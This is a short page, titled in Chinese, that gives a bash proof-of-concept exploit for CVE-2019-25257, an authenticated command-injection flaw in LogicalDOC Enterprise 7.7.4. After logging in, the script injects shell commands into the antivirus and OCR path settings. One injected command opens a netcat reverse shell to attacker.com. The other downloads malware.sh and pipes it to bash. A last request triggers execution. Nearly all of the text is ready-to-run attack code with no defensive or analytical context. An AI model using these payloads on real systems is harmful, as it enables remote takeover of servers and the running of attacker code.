CVE-2019-25257 LogicalDOC Enterprise 7.7.4 认证后OS命令执行漏洞

#!/bin/bash # CVE-2019-25257 PoC - LogicalDOC Enterprise Authenticated OS Command Execution # Requires valid low-privilege credentials TARGET="http://targetLogicalDOC.com" USERNAME="lowpriv_user" PASSWORD="password123" # Authentication SESSION=$(curl -s -c cookies.txt -d "username=$USERNAME&password=$PASSWORD" "$TARGET/api/login") # Exploit 1: Modify antivirus.command parameter PAYLOAD=";nc -e /bin/bash attacker.com 4444 #" curl -s -b cookies.txt -X POST \ -H "Content-Type: application/json" \ -d "{\"antivirus.command\": \"$PAYLOAD\"}" \ "$TARGET/api/config/system" # Exploit 2: Modify ocr.Tesseract.path parameter PAYLOAD2=";wget http://attacker.com/malware.sh | bash #" curl -s -b cookies.txt -X POST \ -H "Content-Type: application/json" \ -d "{\"ocr.Tesseract.path\": \"$PAYLOAD2\"}" \ "$TARGET/api/config/ocr" # Trigger command execution by invoking the configured binary curl -s -b cookies.txt "$TARGET/api/system/scan?path=/tmp"